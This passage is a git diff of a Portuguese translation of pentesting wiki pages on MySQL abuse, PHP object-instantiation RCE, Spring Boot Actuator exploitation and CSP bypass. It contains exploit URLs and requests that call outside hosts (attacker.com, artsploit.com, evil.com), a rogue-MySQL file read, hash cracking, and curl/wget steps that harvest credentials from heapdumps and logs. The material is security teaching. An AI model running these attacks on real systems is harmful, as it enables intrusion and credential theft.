vítima para `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` e leia `/etc/passwd` codificando o nome do arquivo em base64 no campo *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`). +Em seguida, aponte a aplicação vítima para `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` e leia `/etc/passwd` codificando o nome do arquivo em base64 no campo *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`). ### Cracking `caching_sha2_password` hashes -MySQL ≥ 8.0 armazena hashes de senha como **`$mysql-sha2$`** (SHA-256). Ambos Hashcat (mode **21100**) e John-the-Ripper (`--format=mysql-sha2`) suportam offline cracking desde 2023. Extraia a coluna `authentication_string` e alimente-a diretamente: +MySQL ≥ 8.0 armazena os hashes de senha como **`$mysql-sha2$`** (SHA-256). Tanto o Hashcat (mode **21100**) quanto o John-the-Ripper (`--format=mysql-sha2`) suportam cracking offline desde 2023. Extraia a coluna `authentication_string` e alimente-a diretamente: ```bash # extract hashes echo "$mysql-sha2$AABBCC…" > hashes.txt @@ -693,11 +695,11 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist ``` ### Checklist de hardening (2025) -• Set **`LOCAL_INFILE=0`** and **`--secure-file-priv=/var/empty`** para eliminar a maioria das primitivas de leitura/escrita de arquivo. +• Defina **`LOCAL_INFILE=0`** e **`--secure-file-priv=/var/empty`** para eliminar a maioria dos primitivos de leitura/gravação de arquivos. • Remova o privilégio **`FILE`** das contas de aplicação. -• No Connector/J configure `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (vazio). -• Desative plugins de autenticação não utilizados e **exija TLS** (`require_secure_transport = ON`). -• Monitore por `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` e por comandos `SET GLOBAL` súbitos. +• No Connector/J, configure `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (vazio). +• Desative plugins de autenticação não usados e **exija TLS** (`require_secure_transport = ON`). +• Monitore por `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` e por declarações `SET GLOBAL` súbitas. --- diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md index 8bc483dfd..2f32da36e 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md @@ -1,4 +1,4 @@ -# PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"]) +# PHP - RCE abusando da criação de objetos: new $_GET["a"]($_GET["b"]) {{#include ../../../banners/hacktricks-training.md}} @@ -6,11 +6,11 @@ Isto é basicamente um resumo de [https://swarm.ptsecurity.com/exploiting-arbitr ## Introdução -A criação de objetos arbitrários, como `new $_GET["a"]($_GET["a"])`, pode levar a Remote Code Execution (RCE), conforme detalhado em um [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Este documento destaca várias estratégias para alcançar RCE. +A criação de novos objetos arbitrários, como `new $_GET["a"]($_GET["a"])`, pode levar a Remote Code Execution (RCE), como detalhado em um [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Este documento destaca várias estratégias para alcançar RCE. ## RCE via Classes Personalizadas ou Autoloading -A sintaxe `new $a($b)` é usada para instanciar um objeto onde **`$a`** representa o nome da classe e **`$b`** é o primeiro argumento passado ao construtor. Essas variáveis podem ser originadas de entradas do usuário como GET/POST, onde podem ser strings ou arrays, ou de JSON, onde podem aparecer como outros tipos. +A sintaxe `new $a($b)` é usada para instanciar um objeto onde **`$a`** representa o nome da classe e **`$b`** é o primeiro argumento passado para o construtor. Essas variáveis podem vir de entradas do usuário como GET/POST, onde podem ser strings ou arrays, ou de JSON, onde podem aparecer como outros tipos. Considere o trecho de código abaixo: ```php @@ -31,9 +31,9 @@ $b = $_GET['b']; new $a($b); ``` -Neste caso, definir `$a` para `App` ou `App2` e `$b` para um comando do sistema (por exemplo, `uname -a`) resulta na execução desse comando. +Neste caso, atribuir `$a` a `App` ou `App2` e `$b` a um comando do sistema (por exemplo, `uname -a`) resulta na execução desse comando. -**Funções de carregamento automático** podem ser exploradas se tais classes não estiverem diretamente acessíveis. Essas funções carregam automaticamente classes de arquivos quando necessário e são definidas usando `spl_autoload_register` ou `__autoload`: +**Funções de autoloading** podem ser exploradas se tais classes não estiverem diretamente acessíveis. Essas funções carregam automaticamente classes a partir de arquivos quando necessário e são definidas usando `spl_autoload_register` ou `__autoload`: ```php spl_autoload_register(function ($class_name) { include './../classes/' . $class_name . '.php'; @@ -47,25 +47,25 @@ spl_autoload_register(); ``` O comportamento do autoloading varia entre versões do PHP, oferecendo diferentes possibilidades de RCE. -## RCE via Classes integradas +## RCE via Classes internas -Na ausência de classes customizadas ou autoloaders, **built-in PHP classes** podem ser suficientes para RCE. O número dessas classes varia entre 100 e 200, dependendo da versão do PHP e das extensões. Elas podem ser listadas usando `get_declared_classes()`. +Na ausência de classes customizadas ou autoloaders, **classes internas do PHP** podem ser suficientes para RCE. O número dessas classes varia entre 100 a 200, dependendo da versão do PHP e das extensões. Elas podem ser listadas usando `get_declared_classes()`. -Construtores de interesse podem ser identificados através da Reflection API, como mostrado no exemplo a seguir e no link [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF). +Construtores de interesse podem ser identificados através da API de reflexão, como mostrado no exemplo a seguir e no link [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF). -**RCE via specific methods includes:** +**RCE via métodos específicos inclui:** ### **SSRF + Phar Deserialization** -A classe `SplFileObject` possibilita SSRF através de seu construtor, permitindo conexões a qualquer URL: +A classe `SplFileObject` permite SSRF através do seu construtor, possibilitando conexões para qualquer URL: ```php new SplFileObject('http://attacker.com/'); ``` SSRF pode levar a ataques de desserialização em versões do PHP anteriores à 8.0 usando o protocolo Phar. -### **Explorando PDOs** +### **Exploiting PDOs** -O construtor da classe PDO permite conexões a bancos de dados via strings DSN, potencialmente possibilitando a criação de arquivos ou outras interações: +O construtor da classe PDO permite conexões com bancos de dados via DSN strings, potencialmente possibilitando criação de arquivos ou outras interações: ```php new PDO("sqlite:/tmp/test.txt") ``` @@ -75,44 +75,44 @@ Versões do PHP até 5.3.22 e 5.4.12 eram suscetíveis a ataques XXE através do ## RCE via Extensão Imagick -Na análise das **dependências do projeto**, descobriu-se que **Imagick** poderia ser aproveitado para **execução de comandos** ao instanciar novos objetos. Isso apresenta uma oportunidade para explorar vulnerabilidades. +Na análise das **dependências do projeto**, foi descoberto que o **Imagick** poderia ser aproveitado para **execução de comandos** ao instanciar novos objetos. Isso representa uma oportunidade para explorar vulnerabilidades. ### VID parser -Foi identificada a capacidade do parser VID de gravar conteúdo em qualquer caminho especificado no sistema de arquivos. Isso pode levar à colocação de um shell PHP em um diretório acessível via web, alcançando Remote Code Execution (RCE). +Foi identificada a capacidade do parser VID de gravar conteúdo em qualquer caminho especificado no sistema de arquivos. Isso pode levar ao posicionamento de um shell PHP em um diretório acessível via web, alcançando Execução Remota de Código (RCE). -#### VID Parser + Upload de Arquivo +#### VID Parser + File Upload -Observa-se que o PHP armazena temporariamente arquivos enviados em `/tmp/phpXXXXXX`. O parser VID no Imagick, utilizando o protocolo **msl**, pode tratar curingas em caminhos de arquivo, facilitando a transferência do arquivo temporário para um local escolhido. Esse método oferece uma abordagem adicional para gravar arquivos arbitrários no sistema de arquivos. +Observa-se que o PHP armazena temporariamente arquivos enviados em `/tmp/phpXXXXXX`. O parser VID no Imagick, utilizando o protocolo **msl**, pode lidar com curingas em caminhos de arquivo, facilitando a transferência do arquivo temporário para um local escolhido. Esse método oferece uma abordagem adicional para realizar escrita arbitrária de arquivos no sistema de arquivos. ### PHP Crash + Brute Force -Um método descrito no [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) envolve o upload de arquivos que causam um crash do servidor antes da exclusão. Ao brute-forcear o nome do arquivo temporário, torna-se possível que o Imagick execute código PHP arbitrário. Contudo, essa técnica foi eficaz apenas em uma versão desatualizada do ImageMagick. +Um método descrito no [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) envolve fazer upload de arquivos que provocam um crash do servidor antes da exclusão. Ao brute-forcing o nome do arquivo temporário, torna-se possível que o Imagick execute código PHP arbitrário. No entanto, essa técnica mostrou-se eficaz apenas em uma versão desatualizada do ImageMagick. ## Format-string in class-name resolution (PHP 7.0.0 Bug #71105) -Quando a entrada do usuário controla o nome da classe (p.ex., `new $_GET['model']()`), o PHP 7.0.0 introduziu um bug transitório durante o refactor do `Throwable` onde o engine tratava erroneamente o nome da classe como uma string de formato do printf durante a resolução. Isso habilita primitivas clássicas do estilo printf dentro do PHP: leaks com `%p`, controle de contagem de escrita com especificadores de largura, e escritas arbitrárias com `%n` contra ponteiros em processo (por exemplo, entradas GOT em builds ELF). +Quando a entrada do usuário controla o nome da classe (e.g., `new $_GET['model']()`), o PHP 7.0.0 introduziu um bug transitório durante o refactor de `Throwable` em que o engine tratava erroneamente o nome da classe como uma string de formato do printf durante a resolução. Isso habilita primitivas clássicas do estilo printf dentro do PHP: leaks com `%p`, controle da contagem de escrita com especificadores de largura, e escritas arbitrárias com `%n` contra ponteiros em processo (por exemplo, entradas GOT em builds ELF). -Padrão mínimo de reprodução vulnerável: +Minimal repro vulnerable pattern: ```php d%$n` para provocar a sobrescrição parcial. +- Funciona apenas no PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); corrigido em lançamentos subsequentes. Severidade: crítica se houver instanciação arbitrária de classes. +- Payloads típicos encadeiam muitos `%p` para percorrer a stack, então `%.d%$n` para efetuar a sobrescrita parcial. -## References +## Referências - [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) - [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index a8ced9d62..2f1313947 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -6,30 +6,30 @@
-**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) +**De** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) ## Explorando Spring Boot Actuators **Confira o post original em** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] -### **Pontos-chave:** +### **Pontos principais:** -- Spring Boot Actuators registram endpoints como `/health`, `/trace`, `/beans`, `/env`, etc. Nas versões 1 até 1.4, esses endpoints ficam acessíveis sem autenticação. A partir da versão 1.5, apenas `/health` e `/info` são não sensíveis por padrão, mas desenvolvedores frequentemente desabilitam essa segurança. +- Spring Boot Actuators registram endpoints como `/health`, `/trace`, `/beans`, `/env`, etc. Nas versões 1 até 1.4, esses endpoints são acessíveis sem autenticação. A partir da versão 1.5, apenas `/health` e `/info` são não sensíveis por padrão, mas desenvolvedores frequentemente desativam essa segurança. - Certos endpoints do Actuator podem expor dados sensíveis ou permitir ações prejudiciais: -- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, e `/heapdump`. -- No Spring Boot 1.x, os actuators são registrados no root URL, enquanto no 2.x eles ficam sob o base path `/actuator/`. +- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, and `/heapdump`. +- No Spring Boot 1.x, actuators são registrados sob a URL raiz, enquanto no 2.x, eles ficam sob o caminho base `/actuator/`. -### **Técnicas de Exploração:** +### **Exploitation Techniques:** 1. **Remote Code Execution via '/jolokia'**: -- O endpoint `/jolokia` do actuator expõe a Jolokia Library, que permite acesso HTTP a MBeans. -- A action `reloadByURL` pode ser explorada para recarregar configurações de logging a partir de uma URL externa, o que pode levar a blind XXE ou Remote Code Execution via configurações XML maliciosas. -- Exemplo de URL de exploit: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. -2. **Modificação de Config via '/env'**: +- O endpoint `/jolokia` expõe a Jolokia Library, que permite acesso HTTP a MBeans. +- A ação `reloadByURL` pode ser explorada para recarregar configurações de logging a partir de uma URL externa, o que pode levar a blind XXE ou Remote Code Execution via configurações XML forjadas. +- Example exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. +2. **Config Modification via '/env'**: -- Se as Spring Cloud Libraries estiverem presentes, o endpoint `/env` permite a modificação de propriedades de ambiente. -- Propriedades podem ser manipuladas para explorar vulnerabilidades, como a vulnerabilidade de deserialização do XStream no Eureka serviceURL. -- Exemplo de requisição POST de exploit: +- Se as Spring Cloud Libraries estiverem presentes, o endpoint `/env` permite modificação de propriedades de ambiente. +- Propriedades podem ser manipuladas para explorar vulnerabilidades, como a vulnerabilidade de desserialização do XStream no serviceURL do Eureka. +- Example exploit POST request: ``` POST /env HTTP/1.1 @@ -40,32 +40,32 @@ Content-Length: 65 eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` -3. **Outras Configurações Úteis**: -- Propriedades como `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, e `spring.datasource.tomcat.max-active` podem ser manipuladas para vários exploits, como SQL injection ou alteração das connection strings do banco de dados. +3. **Other Useful Settings**: +- Propriedades como `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, e `spring.datasource.tomcat.max-active` podem ser manipuladas para vários exploits, como SQL injection ou alterar strings de conexão com o banco de dados. ### **Informações Adicionais:** -- Uma lista abrangente de actuators default pode ser encontrada [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). +- Uma lista abrangente dos actuators padrão pode ser encontrada [aqui](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). - O endpoint `/env` no Spring Boot 2.x usa formato JSON para modificação de propriedades, mas o conceito geral permanece o mesmo. ### **Tópicos Relacionados:** 1. **Env + H2 RCE**: -- Detalhes sobre a exploração da combinação do endpoint `/env` e do banco H2 podem ser encontrados [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). +- Detalhes sobre explorar a combinação do endpoint `/env` e do banco H2 podem ser encontrados [aqui](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). 2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**: -- O tratamento de matrix parameters (`;`) em pathnames HTTP pelo framework Spring pode ser explorado para Server-Side Request Forgery (SSRF). -- Exemplo de exploit request: +- O tratamento, pelo framework Spring, de matrix parameters (`;`) em pathnames HTTP pode ser explorado para Server-Side Request Forgery (SSRF). +- Example exploit request: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` -## Mineração de segredos em HeapDump (credenciais, tokens, URLs internas) +## HeapDump secrets mining (credentials, tokens, internal URLs) -Se `/actuator/heapdump` estiver exposto, normalmente é possível recuperar um snapshot completo do heap da JVM que frequentemente contém segredos em uso (credenciais de BD, chaves de API, Basic-Auth, URLs de serviços internos, mapas de propriedades do Spring, etc.). +If `/actuator/heapdump` is exposed, you can usually retrieve a full JVM heap snapshot that frequently contains live secrets (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, etc.). -- Baixar e triagem rápida: +- Download and quick triage: ```bash wget http://target/actuator/heapdump -O heapdump # Quick wins: look for HTTP auth and JDBC @@ -75,7 +75,7 @@ printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d ``` - Análise mais profunda com VisualVM e OQL: -- Abra o heapdump no VisualVM, inspecione instâncias de `java.lang.String` ou execute OQL para buscar segredos: +- Abra o heapdump no VisualVM, inspecione instâncias de `java.lang.String` ou execute OQL para caçar segredos: ``` select s.toString() from java.lang.String s @@ -86,21 +86,21 @@ where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|Or ```bash java -jar JDumpSpider-*.jar heapdump ``` -Achados de alto valor típicos: +Achados típicos de alto valor: - Objetos Spring `DataSourceProperties` / `HikariDataSource` expondo `url`, `username`, `password`. -- Entradas `OriginTrackedMapPropertySource` revelando `management.endpoints.web.exposure.include`, portas de serviço e Basic-Auth embutido em URLs (por ex., Eureka `defaultZone`). -- Fragmentos simples de requisições/respostas HTTP incluindo `Authorization: Basic ...` capturados na memória. +- Entradas `OriginTrackedMapPropertySource` revelando `management.endpoints.web.exposure.include`, portas de serviço e Basic-Auth embutido em URLs (por exemplo, Eureka `defaultZone`). +- Fragmentos em texto plano de requisições/respostas HTTP incluindo `Authorization: Basic ...` capturados na memória. Dicas: -- Use uma wordlist focada em Spring para descobrir endpoints do actuator rapidamente (por ex., SecLists spring-boot.txt) e sempre verifique se `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` e `/actuator/configprops` também estão expostos. -- Credenciais do heapdump frequentemente funcionam para serviços adjacentes e às vezes para usuários do sistema (SSH), então teste-as amplamente. +- Use uma wordlist focada em Spring para descobrir endpoints do actuator rapidamente (por exemplo, SecLists spring-boot.txt) e sempre verifique se `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` e `/actuator/configprops` também estão expostos. +- Credenciais do heapdump frequentemente funcionam para serviços adjacentes e às vezes para usuários do sistema (SSH), então teste amplamente. -## Abusar de loggers/logging do Actuator para capturar credenciais +## Abusing Actuator loggers/logging to capture credentials -Se `management.endpoints.web.exposure.include` permitir e `/actuator/loggers` estiver exposto, você pode aumentar dinamicamente os níveis de log para DEBUG/TRACE em pacotes que tratam autenticação e processamento de requisições. Combinado com logs legíveis (via `/actuator/logfile` ou caminhos de log conhecidos), isso pode vazar credenciais submetidas durante fluxos de login (por ex., cabeçalhos Basic-Auth ou parâmetros de formulário). +If `management.endpoints.web.exposure.include` allows it and `/actuator/loggers` is exposed, you can dynamically increase log levels to DEBUG/TRACE for packages that handle authentication and request processing. Combined with readable logs (via `/actuator/logfile` or known log paths), this can leak credentials submitted during login flows (e.g., Basic-Auth headers or form parameters). -- Enumere e aumente os loggers sensíveis: +- Enumere e aumente loggers sensíveis: ```bash # List available loggers curl -s http://target/actuator/loggers | jq . @@ -114,7 +114,7 @@ curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway -H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' ``` -- Encontre onde os logs são escritos e colete-os: +- Encontre onde os logs são escritos e colete: ```bash # If exposed, read from Actuator directly curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password=' @@ -123,10 +123,10 @@ curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|user curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))' ``` -- Dispare tráfego de login/autenticação e analise os logs em busca de credenciais. Em arquiteturas de microservices com um gateway na frente da autenticação, habilitar TRACE para pacotes de gateway/segurança frequentemente torna cabeçalhos e corpos de formulário visíveis. Alguns ambientes até geram tráfego de login sintético periodicamente, tornando a coleta trivial uma vez que o logging esteja verboso. +- Gere tráfego de login/autenticação e analise o log em busca de creds. Em setups de microserviços com um gateway na frente da autenticação, habilitar TRACE para pacotes de gateway/security frequentemente torna headers e corpos de formulário visíveis. Alguns ambientes até geram tráfego de login sintético periodicamente, tornando a coleta trivial uma vez que os logs estão verbosos. -Observações: -- Restaure os níveis de log quando terminar: `POST /actuator/loggers/` com `{ "configuredLevel": null }`. +Notas: +- Restaure os níveis de log ao terminar: `POST /actuator/loggers/` com `{ "configuredLevel": null }`. - Se `/actuator/httpexchanges` estiver exposto, ele também pode expor metadados de requisições recentes que podem incluir cabeçalhos sensíveis. diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index da3066944..a2121a91c 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -1,12 +1,12 @@ -# Política de Segurança de Conteúdo (CSP) Bypass +# Content Security Policy (CSP) Bypass {{#include ../../banners/hacktricks-training.md}} ## O que é CSP -Content Security Policy (CSP) é reconhecida como uma tecnologia do browser, destinada principalmente a **proteger contra ataques como cross-site scripting (XSS)**. Ela funciona definindo e detalhando caminhos e fontes de onde recursos podem ser carregados de forma segura pelo navegador. Esses recursos abrangem uma variedade de elementos como imagens, frames e JavaScript. Por exemplo, uma policy pode permitir o carregamento e execução de recursos do mesmo domínio (self), incluindo recursos inline e a execução de código em string através de funções como `eval`, `setTimeout`, ou `setInterval`. +Content Security Policy (CSP) é reconhecida como uma tecnologia de navegador, destinada principalmente a **proteger contra ataques como cross-site scripting (XSS)**. Ela funciona definindo e detalhando caminhos e fontes das quais recursos podem ser carregados com segurança pelo navegador. Esses recursos abrangem uma variedade de elementos, como imagens, frames e JavaScript. Por exemplo, uma política pode permitir o carregamento e a execução de recursos do mesmo domínio (self), incluindo recursos inline e a execução de código em string através de funções como `eval`, `setTimeout`, ou `setInterval`. -A implementação do CSP é feita através de **cabeçalhos de resposta** ou pela inclusão de **elementos meta na página HTML**. Seguindo essa política, os navegadores aplicam proativamente essas disposições e bloqueiam imediatamente quaisquer violações detectadas. +A implementação do CSP é feita por meio de **cabeçalhos de resposta** ou incorporando **elementos meta na página HTML**. Seguindo essa política, os navegadores aplicam proativamente essas determinações e bloqueiam imediatamente quaisquer violações detectadas. - Implementado via cabeçalho de resposta: ``` @@ -18,14 +18,14 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; ``` ### Cabeçalhos -CSP pode ser aplicado ou monitorado usando estes cabeçalhos: +O CSP pode ser aplicado ou monitorado usando estes cabeçalhos: -- `Content-Security-Policy`: Aplica a CSP; o navegador bloqueia quaisquer violações. -- `Content-Security-Policy-Report-Only`: Usado para monitoramento; reporta violações sem bloqueá-las. Ideal para testes em ambientes de pré-produção. +- `Content-Security-Policy`: Aplica o CSP; o navegador bloqueia quaisquer violações. +- `Content-Security-Policy-Report-Only`: Usado para monitoramento; reporta violações sem bloqueá-las. Ideal para testar em ambientes de pré-produção. ### Definindo Recursos -CSP restringe as origens para o carregamento de conteúdo ativo e passivo, controlando aspectos como a execução de JavaScript inline e o uso de `eval()`. Um exemplo de política é: +O CSP restringe as origens para carregamento de conteúdo ativo e passivo, controlando aspectos como a execução de JavaScript inline e o uso de `eval()`. Um exemplo de política é: ```bash default-src 'none'; img-src 'self'; @@ -39,37 +39,37 @@ object-src 'none'; ``` ### Diretivas -- **script-src**: Permite fontes específicas para JavaScript, incluindo URLs, scripts inline e scripts acionados por manipuladores de eventos ou folhas de estilo XSLT. -- **default-src**: Define uma política padrão para busca de recursos quando diretivas específicas de fetch estão ausentes. +- **script-src**: Permite fontes específicas para JavaScript, incluindo URLs, scripts inline e scripts acionados por manipuladores de evento ou folhas de estilo XSLT. +- **default-src**: Define uma política padrão para buscar recursos quando diretivas específicas de fetch estiverem ausentes. - **child-src**: Especifica recursos permitidos para web workers e conteúdos de frames embutidos. - **connect-src**: Restringe URLs que podem ser carregadas usando interfaces como fetch, WebSocket, XMLHttpRequest. - **frame-src**: Restringe URLs para frames. - **frame-ancestors**: Especifica quais fontes podem incorporar a página atual, aplicável a elementos como ``, ` // The bot will load an URL with the payload @@ -545,24 +544,24 @@ console.log(prefix) run() ``` -### Por Bookmarklets +### Via Bookmarklets -Esse ataque implicaria alguma engenharia social em que o atacante **convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador**. Esse bookmarklet conteria código **javascript malicioso** que, quando arrastado e solto ou clicado, seria executado no contexto da janela web atual, **burlando o CSP e permitindo roubar informações sensíveis** tais como cookies ou tokens. +Este ataque envolve algum social engineering onde o atacante **convinces the user to drag and drop a link over the bookmarklet of the browser**. This bookmarklet would contain **malicious javascript** code that when drag\&dropped or clicked would be executed in the context of the current web window, **bypassing CSP and allowing to steal sensitive information** such as cookies or tokens. For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). -### CSP bypass ao restringir CSP +### CSP bypass by restricting CSP In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **abuse a different script to load an arbitrary script**. -Você pode **restringir o CSP de um iframe** com o atributo **`csp`**: +Você pode **restrict a CSP of an Iframe** com o **`csp`** attribute: ```html ``` -Em [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), foi possível via **HTML injection** **restringir** ainda mais uma **CSP** de modo que um script que impedia CSTI foi desabilitado e, portanto, a **vulnerability became exploitable.**\ -A **CSP** pode ser tornada mais restritiva usando **HTML meta tags** e inline scripts podem ser desabilitados **removendo** a **entrada** que permite seu **nonce** e **enable specific inline script via sha**: +In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), foi possível via **HTML injection** **restringir** mais uma **CSP** de modo que um script que prevenia CSTI foi desativado e, portanto, a **vulnerability tornou-se explorável.**\ +CSP pode ser tornada mais restritiva usando **HTML meta tags** e inline scripts podem ser desabilitados **removendo** a **entrada** que permite o seu **nonce** e habilitar um script inline específico via **sha**: ```html ' ``` -### Leaking de Informação com CSP e Iframe +### Leaking Information with CSP and Iframe -- Um `iframe` é criado que aponta para uma URL (vamos chamá-la de `https://example.redirect.com`) que é permitida pelo CSP. -- Essa URL então redireciona para uma URL secreta (por exemplo, `https://usersecret.example2.com`) que **não é permitida** pelo CSP. -- Ao escutar o evento `securitypolicyviolation`, é possível capturar a propriedade `blockedURI`. Essa propriedade revela o domínio do URI bloqueado, leaking o domínio secreto para o qual a URL inicial redirecionou. +- An `iframe` is created that points to a URL (let's call it `https://example.redirect.com`) which is permitted by CSP. +- This URL then redirects to a secret URL (e.g., `https://usersecret.example2.com`) that is **not allowed** by CSP. +- By listening to the `securitypolicyviolation` event, one can capture the `blockedURI` property. This property reveals the domain of the blocked URI, leaking the secret domain to which the initial URL redirected. -É interessante notar que navegadores como Chrome e Firefox apresentam comportamentos diferentes ao lidar com iframes em relação ao CSP, levando a potencial leakage de informação sensível devido a comportamento indefinido. +It's interesting to note that browsers like Chrome and Firefox have different behaviors in handling iframes with respect to CSP, leading to potential leakage of sensitive information due to undefined behavior. -Outra técnica envolve explorar o próprio CSP para deduzir o subdomínio secreto. Este método baseia-se em um algoritmo de busca binária e em ajustar o CSP para incluir domínios específicos que são deliberadamente bloqueados. Por exemplo, se o subdomínio secreto é composto por caracteres desconhecidos, você pode testar iterativamente diferentes subdomínios modificando a diretiva CSP para bloquear ou permitir esses subdomínios. Aqui está um snippet mostrando como o CSP pode ser configurado para facilitar este método: +Another technique involves exploiting the CSP itself to deduce the secret subdomain. This method relies on a binary search algorithm and adjusting the CSP to include specific domains that are deliberately blocked. For example, if the secret subdomain is composed of unknown characters, you can iteratively test different subdomains by modifying the CSP directive to block or allow these subdomains. Here’s a snippet showing how the CSP might be set up to facilitate this method: ```markdown img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev ``` -Ao monitorar quais requests são bloqueadas ou permitidas pelo CSP, é possível reduzir os caracteres possíveis no subdomínio secreto, eventualmente descobrindo a URL completa. +Monitorando quais requests são bloqueadas ou permitidas pela CSP, é possível reduzir os caracteres possíveis no subdomínio secreto, eventualmente descobrindo a URL completa. -Ambos os métodos exploram as nuances da implementação do CSP e do comportamento nos navegadores, demonstrando como políticas aparentemente seguras podem inadvertidamente leak informações sensíveis. +Ambos os métodos exploram as nuances da implementação da CSP e do comportamento nos navegadores, demonstrando como políticas aparentemente seguras podem inadvertidamente leak informação sensível. Trick from [**here**](https://ctftime.org/writeup/29310). -## Tecnologias inseguras para contornar o CSP +## Tecnologias inseguras para contornar a CSP -### Erros do PHP quando há muitos parâmetros +### PHP Errors when too many params -According to the [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), enviar muitos parâmetros (1001 GET parameters embora você também possa fazer isso com parâmetros POST e mais de 20 arquivos). Qualquer **`header()`** definido no código web PHP **não será enviado** por causa do erro que isso irá disparar. +De acordo com a [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), enviar parâmetros demais (1001 GET parameters embora você também possa fazer com POST params e mais que 20 files). Qualquer definido **`header()`** no código web PHP **won't be sent** por causa do erro que isso irá disparar. ### PHP response buffer overload -O PHP é conhecido por **armazenar a resposta em buffer até 4096** bytes por padrão. Portanto, se o PHP estiver exibindo um aviso, fornecendo **dados suficientes dentro dos avisos**, a **resposta** será **enviada** **antes** do **CSP header**, causando que o header seja ignorado.\ -Então, a técnica consiste basicamente em 